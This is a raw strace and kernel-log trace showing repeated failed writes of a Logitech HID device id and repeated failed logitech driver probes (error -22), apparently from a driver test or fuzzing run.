[ 72.404030][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[ 72.412672][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 72.432269][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[ 72.453119][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[ 72.469553][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[ 72.485892][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[ 72.500662][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[ 72.526063][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[ 72.552467][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[ 72.579844][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19) = -1 ENODEV (No such device)
[ 72.598051][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[ 72.617957][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[ 72.635314][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(6, "0003:046D:C293.0001", 19) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[ 72.657299][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19) = -1 ENODEV (No such device)
[ 72.672415][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[ 72.698920][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[ 72.725203][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[ 72.741746][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[ 72.757547][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[ 72.771685][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[ 72.785712][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[ 72.810437][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[ 72.826036][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 72.841921][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[ 72.868053][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[ 72.886139][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[ 72.903459][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[ 72.929224][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19) = -1 ENODEV (No such device)
[ 72.944242][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[ 72.969037][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[ 72.994167][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[ 73.019535][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[ 73.044886][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4, "", 256, 0) = 0
[ 73.070310][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(6, "0003:046D:C293.0001", 19) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[ 73.095629][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[ 73.120970][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19) = -1 ENODEV (No such device)
[ 73.136142][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19) = -1 ENODEV (No such device)
[ 73.161236][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[ 73.186522][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[ 73.209958][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[ 73.231520][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[ 73.253389][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[ 73.275029][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 73.296306][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 73.307302][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[ 73.330122][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 73.341788][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[ 73.365079][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 73.376396][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[ 73.400062][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[ 73.413167][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(6, "0003:046D:C293.0001", 19) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
